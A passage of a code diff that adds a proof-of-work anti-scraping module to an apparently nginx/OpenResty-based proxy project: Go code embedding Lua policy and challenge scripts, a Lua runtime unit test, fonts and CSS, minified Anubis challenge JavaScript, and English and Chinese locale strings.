if not patterns or #patterns == 0 then return false end
|
||||
for _, pattern in ipairs(patterns) do
|
||||
local ok, match = pcall(ngx.re.match, uri, pattern)
|
||||
if ok and match then
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
local function match_ua(ua, patterns)
|
||||
if not patterns or #patterns == 0 then return false end
|
||||
for _, pattern in ipairs(patterns) do
|
||||
if ua and string.find(ua, pattern, 1, true) then
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
function M.match_any(remote_ip, ua, uri, list)
|
||||
if not list then return false end
|
||||
if match_ip(remote_ip, list.ips) then return true end
|
||||
if match_cidr(remote_ip, list.ip_cidrs) then return true end
|
||||
if match_path(uri, list.paths) then return true end
|
||||
if match_path_regex(uri, list.path_regexes) then return true end
|
||||
if match_ua(ua, list.user_agents) then return true end
|
||||
return false
|
||||
end
|
||||
|
||||
function M.has_entries(list)
|
||||
if not list then return false end
|
||||
return (#(list.ips or {}) + #(list.ip_cidrs or {}) + #(list.paths or {}) + #(list.path_regexes or {}) + #(list.user_agents or {})) > 0
|
||||
end
|
||||
|
||||
return M
|
||||
`
|
||||
|
||||
// ManagedPowLuaFiles returns embedded Lua assets for proof-of-work challenges.
|
||||
func ManagedPowLuaFiles() []protocol.SupportFile {
|
||||
return []protocol.SupportFile{
|
||||
{Path: "pow/runtime.lua", Content: openRestyPowRuntimeLua},
|
||||
{Path: "pow/check.lua", Content: openRestyPowCheckLua},
|
||||
{Path: "pow/challenge.lua", Content: openRestyPowChallengeLua},
|
||||
{Path: "pow/verify.lua", Content: openRestyPowVerifyLua},
|
||||
{Path: "pow/policy.lua", Content: openRestyPowPolicyLua},
|
||||
}
|
||||
}
|
||||
|
||||
// ManagedPowStaticFiles returns embedded static assets served by the PoW module.
|
||||
func ManagedPowStaticFiles() ([]protocol.SupportFile, error) {
|
||||
var files []protocol.SupportFile
|
||||
entries, err := powStaticFS.ReadDir("pow_static")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var walk func(dir string) error
|
||||
walk = func(dir string) error {
|
||||
entries, err := powStaticFS.ReadDir(dir)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
for _, entry := range entries {
|
||||
fullPath := filepath.Join(dir, entry.Name())
|
||||
if entry.IsDir() {
|
||||
if err := walk(fullPath); err != nil {
|
||||
return err
|
||||
}
|
||||
continue
|
||||
}
|
||||
data, err := powStaticFS.ReadFile(fullPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Convert pow_static/css/xess.css -> pow/static/css/xess.css
|
||||
relPath := strings.TrimPrefix(fullPath, "pow_static/")
|
||||
files = append(files, protocol.SupportFile{
|
||||
Path: "pow/static/" + relPath,
|
||||
Content: string(data),
|
||||
})
|
||||
}
|
||||
return nil
|
||||
}
|
||||
for _, entry := range entries {
|
||||
fullPath := filepath.Join("pow_static", entry.Name())
|
||||
if entry.IsDir() {
|
||||
if err := walk(fullPath); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
data, err := powStaticFS.ReadFile(fullPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
relPath := strings.TrimPrefix(fullPath, "pow_static/")
|
||||
files = append(files, protocol.SupportFile{
|
||||
Path: "pow/static/" + relPath,
|
||||
Content: string(data),
|
||||
})
|
||||
}
|
||||
}
|
||||
return files, nil
|
||||
}
|
||||
@@ -0,0 +1,94 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package nginx
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
lua "github.com/yuin/gopher-lua"
|
||||
)
|
||||
|
||||
func TestPowRuntimePassesConfigKeyToInternalChallenge(t *testing.T) {
|
||||
state := lua.NewState()
|
||||
defer state.Close()
|
||||
|
||||
if err := state.DoString(`
|
||||
package.preload["pow.policy"] = function()
|
||||
return {
|
||||
match_any = function() return false end,
|
||||
has_entries = function() return false end,
|
||||
}
|
||||
end
|
||||
package.preload["cjson.safe"] = function()
|
||||
return { encode = function() return "{}" end }
|
||||
end
|
||||
|
||||
local config_values = {}
|
||||
local config_dict = {}
|
||||
function config_dict:set(key, value) config_values[key] = value return true end
|
||||
function config_dict:get(key) return config_values[key] end
|
||||
|
||||
local sessions = {}
|
||||
function sessions:get() return nil end
|
||||
function sessions:set() return true end
|
||||
|
||||
ngx = {
|
||||
var = {
|
||||
host = "pow.example.com",
|
||||
uri = "/protected",
|
||||
scheme = "https",
|
||||
remote_addr = "192.0.2.1",
|
||||
http_user_agent = "test",
|
||||
request_id = "request-1",
|
||||
},
|
||||
ctx = {},
|
||||
header = {},
|
||||
shared = {
|
||||
openflare_pow_sessions = sessions,
|
||||
openflare_pow_config = config_dict,
|
||||
},
|
||||
req = {},
|
||||
now = function() return 1 end,
|
||||
}
|
||||
function ngx.req.set_uri_args(args) captured_uri_args = args end
|
||||
function ngx.exec(uri, args)
|
||||
captured_exec_uri = uri
|
||||
captured_exec_args = args
|
||||
end
|
||||
`); err != nil {
|
||||
t.Fatalf("prepare Lua runtime: %v", err)
|
||||
}
|
||||
|
||||
chunk, err := state.LoadString(openRestyPowRuntimeLua)
|
||||
if err != nil {
|
||||
t.Fatalf("load PoW runtime: %v", err)
|
||||
}
|
||||
if err := state.CallByParam(lua.P{Fn: chunk, NRet: 1, Protect: true}); err != nil {
|
||||
t.Fatalf("initialize PoW runtime: %v", err)
|
||||
}
|
||||
runtimeModule := state.Get(-1)
|
||||
state.Pop(1)
|
||||
|
||||
evaluate := state.GetField(runtimeModule, "evaluate")
|
||||
config := state.NewTable()
|
||||
config.RawSetString("challenge_ttl", lua.LNumber(300))
|
||||
if err := state.CallByParam(lua.P{Fn: evaluate, NRet: 1, Protect: true}, config); err != nil {
|
||||
t.Fatalf("evaluate PoW node: %v", err)
|
||||
}
|
||||
state.Pop(1)
|
||||
|
||||
if got := state.GetGlobal("captured_exec_uri").String(); got != "/.within.website/x/cmd/anubis/api/make-challenge" {
|
||||
t.Fatalf("unexpected internal challenge URI: %q", got)
|
||||
}
|
||||
execArgs, ok := state.GetGlobal("captured_exec_args").(*lua.LTable)
|
||||
if !ok {
|
||||
t.Fatal("expected ngx.exec to receive explicit challenge arguments")
|
||||
}
|
||||
if got := execArgs.RawGetString("openflare_pow_config_key").String(); got != "_request_config:request-1" {
|
||||
t.Fatalf("unexpected PoW config key: %q", got)
|
||||
}
|
||||
if state.GetGlobal("captured_uri_args") != execArgs {
|
||||
t.Fatal("expected URI arguments and internal redirect arguments to use the same table")
|
||||
}
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,7 @@
|
||||
@font-face {
|
||||
font-family: "Podkova";
|
||||
font-style: normal;
|
||||
font-weight: 400 800;
|
||||
font-display: swap;
|
||||
src: url("podkova.woff2") format("woff2");
|
||||
}
|
||||
Binary file not shown.
@@ -0,0 +1,149 @@
|
||||
:root {
|
||||
--body-sans-font: Geist, sans-serif;
|
||||
--body-preformatted-font: Iosevka Curly Iaso, monospace;
|
||||
--body-title-font: Podkova, serif;
|
||||
|
||||
--background: #1d2021;
|
||||
--text: #f9f5d7;
|
||||
--text-selection: #d3869b;
|
||||
--preformatted-background: #3c3836;
|
||||
--link-foreground: #b16286;
|
||||
--link-background: #282828;
|
||||
--blockquote-border-left: 1px solid #bdae93;
|
||||
|
||||
--progress-bar-outline: #b16286 solid 4px;
|
||||
--progress-bar-fill: #b16286;
|
||||
}
|
||||
@media (prefers-color-scheme: light) {
|
||||
:root {
|
||||
--background: #f9f5d7;
|
||||
--text: #1d2021;
|
||||
--text-selection: #d3869b;
|
||||
--preformatted-background: #ebdbb2;
|
||||
--link-foreground: #b16286;
|
||||
--link-background: #fbf1c7;
|
||||
--blockquote-border-left: 1px solid #655c54;
|
||||
}
|
||||
}
|
||||
|
||||
@font-face {
|
||||
font-family: "Geist";
|
||||
font-style: normal;
|
||||
font-weight: 100 900;
|
||||
font-display: swap;
|
||||
src: url("./static/geist.woff2") format("woff2");
|
||||
}
|
||||
|
||||
@font-face {
|
||||
font-family: "Podkova";
|
||||
font-style: normal;
|
||||
font-weight: 400 800;
|
||||
font-display: swap;
|
||||
src: url("./static/podkova.woff2") format("woff2");
|
||||
}
|
||||
|
||||
@font-face {
|
||||
font-family: "Iosevka Curly";
|
||||
font-style: monospace;
|
||||
font-display: swap;
|
||||
src: url("./static/iosevka-curly.woff2") format("woff2");
|
||||
}
|
||||
|
||||
main {
|
||||
font-family: var(--body-sans-font);
|
||||
max-width: 50rem;
|
||||
padding: 2rem;
|
||||
margin: auto;
|
||||
}
|
||||
|
||||
::selection {
|
||||
background: var(--text-selection);
|
||||
}
|
||||
|
||||
body {
|
||||
background: var(--background);
|
||||
color: var(--text);
|
||||
}
|
||||
|
||||
body,
|
||||
html {
|
||||
height: 100%;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
margin-left: auto;
|
||||
margin-right: auto;
|
||||
}
|
||||
|
||||
.centered-div {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#status {
|
||||
font-variant-numeric: tabular-nums;
|
||||
}
|
||||
|
||||
.centered-div {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#status {
|
||||
font-variant-numeric: tabular-nums;
|
||||
}
|
||||
|
||||
#progress {
|
||||
display: none;
|
||||
width: min(20rem, 90%);
|
||||
height: 2rem;
|
||||
border-radius: 1rem;
|
||||
overflow: hidden;
|
||||
margin: 1rem 0 2rem;
|
||||
outline-offset: 2px;
|
||||
outline: var(--progress-bar-outline);
|
||||
}
|
||||
|
||||
.bar-inner {
|
||||
background-color: var(--progress-bar-fill);
|
||||
height: 100%;
|
||||
width: 0;
|
||||
transition: width 0.25s ease-in;
|
||||
}
|
||||
|
||||
@media (prefers-reduced-motion: no-preference) {
|
||||
.bar-inner {
|
||||
transition: width 0.25s ease-in;
|
||||
}
|
||||
}
|
||||
|
||||
pre {
|
||||
background-color: var(--preformatted-background);
|
||||
padding: 1em;
|
||||
border: 0;
|
||||
font-family: var(--body-preformatted-font);
|
||||
}
|
||||
|
||||
a,
|
||||
a:active,
|
||||
a:visited {
|
||||
color: var(--link-foreground);
|
||||
background-color: var(--link-background);
|
||||
}
|
||||
|
||||
h1,
|
||||
h2,
|
||||
h3,
|
||||
h4,
|
||||
h5 {
|
||||
margin-bottom: 0.1rem;
|
||||
font-family: var(--body-title-font);
|
||||
}
|
||||
|
||||
blockquote {
|
||||
border-left: var(--blockquote-border-left);
|
||||
margin: 0.5em 10px;
|
||||
padding: 0.5em 10px;
|
||||
}
|
||||
|
||||
footer {
|
||||
text-align: center;
|
||||
}
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 30 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 28 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 26 KiB |
@@ -0,0 +1,32 @@
|
||||
/*
|
||||
@licstart The following is the entire license notice for the
|
||||
JavaScript code in this page.
|
||||
|
||||
Copyright (c) 2025 Xe Iaso <xe.iaso@techaro.lol>
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in
|
||||
all copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
THE SOFTWARE.
|
||||
|
||||
Includes code from https://github.com/aws/aws-sdk-js-crypto-helpers which is
|
||||
used under the terms of the Apache 2 license.
|
||||
|
||||
@licend The above is the entire license notice
|
||||
for the JavaScript code in this page.
|
||||
*/
|
||||
(()=>{var k=()=>navigator.hardwareConcurrency!==void 0?navigator.hardwareConcurrency:1;function n(c,b,w=5,e=null,g,u=Math.trunc(Math.max(k()/2,1))){console.debug("fast algo");let s="purejs";return window.isSecureContext&&(s="webcrypto"),(navigator.userAgent.includes("Firefox")||navigator.userAgent.includes("Goanna"))&&(console.log("Firefox detected, using pure-JS fallback"),s="purejs"),new Promise((p,l)=>{let m=`${c.basePrefix}/.within.website/x/cmd/anubis/static/js/worker/sha256-${s}.mjs?cacheBuster=${c.version}`,f=[],d=!1,a=()=>{console.log("PoW aborted"),i(),l(new DOMException("Aborted","AbortError"))},i=()=>{d||(d=!0,f.forEach(r=>r.terminate()),e?.removeEventListener("abort",a))};if(e!=null){if(e.aborted)return a();e.addEventListener("abort",a,{once:!0})}for(let r=0;r<u;r++){let t=new Worker(m);t.onmessage=o=>{typeof o.data=="number"?g?.(o.data):(i(),p(o.data))},t.onerror=o=>{i(),l(o)},t.postMessage({data:b,difficulty:w,nonce:r,threads:u}),f.push(t)}})}var P={fast:n,slow:n};})();
|
||||
//# sourceMappingURL=index.mjs.map
|
||||
@@ -0,0 +1,32 @@
|
||||
/*
|
||||
@licstart The following is the entire license notice for the
|
||||
JavaScript code in this page.
|
||||
|
||||
Copyright (c) 2025 Xe Iaso <xe.iaso@techaro.lol>
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in
|
||||
all copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
THE SOFTWARE.
|
||||
|
||||
Includes code from https://github.com/aws/aws-sdk-js-crypto-helpers which is
|
||||
used under the terms of the Apache 2 license.
|
||||
|
||||
@licend The above is the entire license notice
|
||||
for the JavaScript code in this page.
|
||||
*/
|
||||
(()=>{var I=()=>navigator.hardwareConcurrency!==void 0?navigator.hardwareConcurrency:1;function _(e,n,s=5,o=null,i,u=Math.trunc(Math.max(I()/2,1))){console.debug("fast algo");let a="purejs";return window.isSecureContext&&(a="webcrypto"),(navigator.userAgent.includes("Firefox")||navigator.userAgent.includes("Goanna"))&&(console.log("Firefox detected, using pure-JS fallback"),a="purejs"),new Promise((E,x)=>{let M=`${e.basePrefix}/.within.website/x/cmd/anubis/static/js/worker/sha256-${a}.mjs?cacheBuster=${e.version}`,p=[],d=!1,b=()=>{console.log("PoW aborted"),h(),x(new DOMException("Aborted","AbortError"))},h=()=>{d||(d=!0,p.forEach(c=>c.terminate()),o?.removeEventListener("abort",b))};if(o!=null){if(o.aborted)return b();o.addEventListener("abort",b,{once:!0})}for(let c=0;c<u;c++){let g=new Worker(M);g.onmessage=m=>{typeof m.data=="number"?i?.(m.data):(h(),E(m.data))},g.onerror=m=>{h(),x(m)},g.postMessage({data:n,difficulty:s,nonce:c,threads:u}),p.push(g)}})}var j={fast:_,slow:_};var v=(e="",n={})=>{let s=new URL(e,window.location.href);return Object.entries(n).forEach(([o,i])=>s.searchParams.set(o,i)),s.toString()},L=e=>{let n=document.getElementById(e);return n===null?null:JSON.parse(n.textContent)},k=(e,n,s)=>v(`${s}/.within.website/x/cmd/anubis/static/img/${e}.webp`,{cacheBuster:n});var W=async()=>document.documentElement.lang,S=async e=>{let n=L("anubis_base_prefix");if(n!==null)try{return await(await fetch(`${n}/.within.website/x/cmd/anubis/static/locales/${e}.json`)).json()}catch(s){if(console.warn(`Failed to load translations for ${e}, falling back to English`),e!=="en")return await S("en");throw s}},C=()=>{let e=L("anubis_public_url");if(e!==null&&e&&window.location.href.startsWith(e)){let t=new URLSearchParams(window.location.search).get("redir");if(t){try{let u=new URL(t,window.location.href);if(u.protocol==="http:"||u.protocol==="https:")return t}catch(s){}}return window.location.href}return window.location.href},$={},D,A=async()=>{D=await W(),$=await S(D)},r=e=>$[`js_${e}`]||$[e]||e;(async()=>{await A();let e=[{name:"Web Workers",msg:r("web_workers_error"),value:window.Worker},{name:"Cookies",msg:r("cookies_error"),value:navigator.cookieEnabled}],n=document.getElementById("status"),s=document.getElementById("image"),o=document.getElementById("title"),i=document.getElementById("progress"),u=L("anubis_version"),a=L("anubis_base_prefix"),E=document.querySelector("details"),x=!1;E&&E.addEventListener("toggle",()=>{E.open&&(x=!0)});let M=({titleMsg:l,statusMsg:f,imageSrc:w})=>{o.textContent=l,n.textContent=f,s.src=w,i.style.display="none"};n.textContent=r("calculating");for(let{value:l,name:f,msg:w}of e)if(!l){M({titleMsg:`${r("missing_feature")} ${f}`,statusMsg:w,imageSrc:k("reject",u,a)});return}let{challenge:p,rules:d}=L("anubis_challenge"),b=j[d.algorithm];if(!b){M({titleMsg:r("challenge_error"),statusMsg:r("challenge_error_msg"),imageSrc:k("reject",u,a)});return}n.textContent=`${r("calculating_difficulty")} ${d.difficulty}, `,i.style.display="inline-block";let h=document.createTextNode(`${r("speed")} 0kH/s`);n.appendChild(h);let c=0,g=!1,m=Math.pow(16,-d.difficulty);try{let l=Date.now(),{hash:f,nonce:w}=await b({basePrefix:a,version:u},p.randomData,d.difficulty,null,t=>{let y=Date.now()-l;y-c>1e3&&(c=y,h.data=`${r("speed")} ${(t/y).toFixed(3)}kH/s`);let T=Math.pow(1-m,t),P=(1-Math.pow(T,2))*100;i["aria-valuenow"]=P,i.firstElementChild!==null&&(i.firstElementChild.style.width=`${P}%`),T<.1&&!g&&(n.append(document.createElement("br"),document.createTextNode(r("verification_longer"))),g=!0)}),H=Date.now();if(console.log({hash:f,nonce:w}),x){let y=function(){let T=C();window.location.replace(v(`${a}/.within.website/x/cmd/anubis/api/pass-challenge`,{id:p.id,response:f,nonce:w,redir:T,elapsedTime:H-l}))},t=document.getElementById("progress");t.style.display="flex",t.style.alignItems="center",t.style.justifyContent="center",t.style.height="2rem",t.style.borderRadius="1rem",t.style.cursor="pointer",t.style.background="#b16286",t.style.color="white",t.style.fontWeight="bold",t.style.outline="4px solid #b16286",t.style.outlineOffset="2px",t.style.width="min(20rem, 90%)",t.style.margin="1rem auto 2rem",t.textContent=r("finished_reading"),t.onclick=y,setTimeout(y,3e4)}else{let t=C();window.location.replace(v(`${a}/.within.website/x/cmd/anubis/api/pass-challenge`,{id:p.id,response:f,nonce:w,redir:t,elapsedTime:H-l}))}}catch(l){M({titleMsg:r("calculation_error"),statusMsg:`${r("calculation_error_msg")} ${l.message}`,imageSrc:k("reject",u,a)})}})();})();
|
||||
//# sourceMappingURL=main.mjs.map
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,32 @@
|
||||
/*
|
||||
@licstart The following is the entire license notice for the
|
||||
JavaScript code in this page.
|
||||
|
||||
Copyright (c) 2025 Xe Iaso <xe.iaso@techaro.lol>
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in
|
||||
all copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
THE SOFTWARE.
|
||||
|
||||
Includes code from https://github.com/aws/aws-sdk-js-crypto-helpers which is
|
||||
used under the terms of the Apache 2 license.
|
||||
|
||||
@licend The above is the entire license notice
|
||||
for the JavaScript code in this page.
|
||||
*/
|
||||
(()=>{var h=new TextEncoder,y=async e=>{let s=h.encode(e);return await crypto.subtle.digest("SHA-256",s)},g=e=>e.reduce((s,a)=>s+a.toString(16).padStart(2,"0"),"");addEventListener("message",async({data:e})=>{let{data:s,difficulty:a,threads:d}=e,t=e.nonce,f=t===0,o=0,c=Math.floor(a/2),l=a%2!==0;for(;;){let u=await y(s+t),i=new Uint8Array(u),r=!0;for(let n=0;n<c;n++)if(i[n]!==0){r=!1;break}if(r&&l&&i[c]>>4!==0&&(r=!1),r){let n=g(i);postMessage({hash:n,data:s,difficulty:a,nonce:t});return}t+=d,o++,t%1!==0&&(t=Math.trunc(t)),f&&(o&1023)===0&&postMessage(t)}});})();
|
||||
//# sourceMappingURL=sha256-webcrypto.mjs.map
|
||||
@@ -0,0 +1,66 @@
|
||||
{
|
||||
"loading": "Loading...",
|
||||
"why_am_i_seeing": "Why am I seeing this?",
|
||||
"protected_by": "Protected by",
|
||||
"protected_from": "From",
|
||||
"made_with": "Made with ❤️ in 🇨🇦",
|
||||
"mascot_design": "Mascot design by",
|
||||
"ai_companies_explanation": "You are seeing this because the administrator of this website has set up Anubis to protect the server against the scourge of AI companies aggressively scraping websites. This can and does cause downtime for the websites, which makes their resources inaccessible for everyone.",
|
||||
"anubis_compromise": "Anubis is a compromise. Anubis uses a Proof-of-Work scheme in the vein of Hashcash, a proposed proof-of-work scheme for reducing email spam. The idea is that at individual scales the additional load is ignorable, but at mass scraper levels it adds up and makes scraping much more expensive.",
|
||||
"hack_purpose": "Ultimately, this is a placeholder solution so that more time can be spent on fingerprinting and identifying headless browsers (EG: via how they do font rendering) so that the challenge proof of work page doesn't need to be presented to users that are much more likely to be legitimate.",
|
||||
"simplified_explanation": "This is a measure against bots and malicious requests similar to a CAPTCHA. However, instead of having to do work yourself, your browser is given a calculation task that it has to solve to ensure that it is a valid client. This concept is called <a href=\"https://en.wikipedia.org/wiki/Proof_of_work\">Proof of Work</a>. The task is calculated in a few seconds and you are granted access to the website. Thank you for your understanding and patience.",
|
||||
"jshelter_note": "Please note that Anubis requires the use of modern JavaScript features that plugins like JShelter will disable. Please disable JShelter or other such plugins for this domain.",
|
||||
"version_info": "This website is running Anubis version",
|
||||
"try_again": "Try again",
|
||||
"go_home": "Go home",
|
||||
"contact_webmaster": "or if you believe you should not be blocked, please contact the webmaster at",
|
||||
"connection_security": "Please wait a moment while we ensure the security of your connection.",
|
||||
"javascript_required": "Sadly, you must enable JavaScript to get past this challenge. This is required because AI companies have changed the social contract around how website hosting works. A no-JS solution is a work-in-progress.",
|
||||
"benchmark_requires_js": "Running the benchmark tool requires JavaScript to be enabled.",
|
||||
"difficulty": "Difficulty:",
|
||||
"algorithm": "Algorithm:",
|
||||
"compare": "Compare:",
|
||||
"time": "Time",
|
||||
"iters": "Iters",
|
||||
"time_a": "Time A",
|
||||
"iters_a": "Iters A",
|
||||
"time_b": "Time B",
|
||||
"iters_b": "Iters B",
|
||||
"static_check_endpoint": "This is just a check endpoint for your reverse proxy to use.",
|
||||
"authorization_required": "Authorization required",
|
||||
"cookies_disabled": "Your browser is configured to disable cookies. Anubis requires cookies for the legitimate interest of making sure you are a valid client. Please enable cookies for this domain",
|
||||
"access_denied": "Access Denied: error code",
|
||||
"dronebl_entry": "DroneBL reported an entry",
|
||||
"see_dronebl_lookup": "see",
|
||||
"internal_server_error": "Internal Server Error: administrator has misconfigured Anubis. Please contact the administrator and ask them to look for the logs around",
|
||||
"invalid_redirect": "Invalid redirect",
|
||||
"redirect_not_parseable": "Redirect URL not parseable",
|
||||
"redirect_domain_not_allowed": "Redirect domain not allowed",
|
||||
"missing_required_forwarded_headers": "Missing required X-Forwarded-* headers",
|
||||
"failed_to_sign_jwt": "failed to sign JWT",
|
||||
"invalid_invocation": "Invalid invocation of MakeChallenge",
|
||||
"client_error_browser": "Client Error: Please ensure your browser is up to date and try again later.",
|
||||
"oh_noes": "Oh noes!",
|
||||
"benchmarking_anubis": "Benchmarking Anubis!",
|
||||
"you_are_not_a_bot": "You are not a bot!",
|
||||
"making_sure_not_bot": "Making sure you're not a bot!",
|
||||
"celphase": "CELPHASE",
|
||||
"js_web_crypto_error": "Your browser doesn't have a functioning web.crypto element. Are you viewing this over a secure context?",
|
||||
"js_web_workers_error": "Your browser doesn't support web workers (Anubis uses this to avoid freezing your browser). Do you have a plugin like JShelter installed?",
|
||||
"js_cookies_error": "Your browser doesn't store cookies. Anubis uses cookies to determine which clients have passed challenges by storing a signed token in a cookie. Please enable storing cookies for this domain. The names of the cookies Anubis stores may vary without notice. Cookie names and values are not part of the public API.",
|
||||
"js_context_not_secure": "Your context is not secure!",
|
||||
"js_context_not_secure_msg": "Try connecting over HTTPS or let the admin know to set up HTTPS. For more information, see <a href=\"https://developer.mozilla.org/en-US/docs/Web/Security/Secure_Contexts#when_is_a_context_considered_secure\">MDN</a>.",
|
||||
"js_calculating": "Calculating...",
|
||||
"js_missing_feature": "Missing feature",
|
||||
"js_challenge_error": "Challenge error!",
|
||||
"js_challenge_error_msg": "Failed to resolve check algorithm. You may want to reload the page.",
|
||||
"js_calculating_difficulty": "Calculating...<br/>Difficulty:",
|
||||
"js_speed": "Speed:",
|
||||
"js_verification_longer": "Verification is taking longer than expected. Please do not refresh the page.",
|
||||
"js_success": "Success!",
|
||||
"js_done_took": "Done! Took",
|
||||
"js_iterations": "iterations",
|
||||
"js_finished_reading": "I've finished reading, continue →",
|
||||
"js_calculation_error": "Calculation error!",
|
||||
"js_calculation_error_msg": "Failed to calculate challenge:"
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
{
|
||||
"loading": "加载中...",
|
||||
"why_am_i_seeing": "为什么我会看到这个?",
|
||||
"protected_by": "本网站由",
|
||||
"protected_from": "保护,来自",
|
||||
"made_with": "在 🇨🇦 用 ❤️ 制作",
|
||||
"mascot_design": "吉祥物由",
|
||||
"ai_companies_explanation": "您会看到这个画面,是因为网站管理员启用了 Anubis 来保护服务器,避免 AI 公司大量爬取网站内容。这类行为会导致网站崩溃,让所有用户都无法正常访问资源。",
|
||||
"anubis_compromise": "Anubis 是一种折中做法。它采用了类似 Hashcash 的工作量证明机制(Proof-of-Work),该机制最初是为了减少垃圾邮件而提出。其核心概念是:对个别用户而言,额外的计算负担可以忽略,但对大规模爬虫来说,累积起来的成本将大幅增加,从而让爬取行为变得更困难。",
|
||||
"hack_purpose": "最终,这是一个占位符解决方案,以便将更多时间用于指纹识别和识别无头浏览器(例如:通过它们如何进行字体渲染),从而无需向更可能是合法用户的用户呈现挑战工作量证明页面。",
|
||||
"jshelter_note": "请注意,Anubis 需要使用现代 JavaScript 功能,而像 JShelter 这类插件可能会阻挡这些功能。请为此域名停用 JShelter 或类似的插件。",
|
||||
"version_info": "这个网站正在运行的 Anubis 版本为",
|
||||
"try_again": "再试一次",
|
||||
"go_home": "返回首页",
|
||||
"contact_webmaster": "或者您觉得您不应该被封锁,请联系网站管理员于",
|
||||
"connection_security": "请稍等,我们需要在继续之前检查您的连接安全性。",
|
||||
"javascript_required": "很遗憾,您必须启用 JavaScript 才能通过这项验证。这是因为 AI 公司已经改变了网站托管的社会契约,因此我们必须采取这样的保护机制。无需 JavaScript 的解决方案仍在开发中。",
|
||||
"benchmark_requires_js": "运行基准测试工具需要启用 JavaScript。",
|
||||
"difficulty": "难度:",
|
||||
"algorithm": "算法:",
|
||||
"compare": "比较:",
|
||||
"time": "时间",
|
||||
"iters": "迭代",
|
||||
"time_a": "时间 A",
|
||||
"iters_a": "迭代 A",
|
||||
"time_b": "时间 B",
|
||||
"iters_b": "迭代 B",
|
||||
"static_check_endpoint": "这是提供给您的反向代理服务器使用的检查端点。",
|
||||
"authorization_required": "需要认证",
|
||||
"cookies_disabled": "您的浏览器目前已禁用 Cookie,为了确认您是合法用户,Anubis 需要启用 Cookie。 请您为此域名启用 Cookie",
|
||||
"access_denied": "拒绝访问:错误代码",
|
||||
"dronebl_entry": "DroneBL 报告了一条记录",
|
||||
"see_dronebl_lookup": "见",
|
||||
"internal_server_error": "内部服务器错误:管理员错误地配置了 Anubis。 请联系管理员要求他们检查日志",
|
||||
"invalid_redirect": "无效的重定向",
|
||||
"redirect_not_parseable": "重定向 URL 无法解析",
|
||||
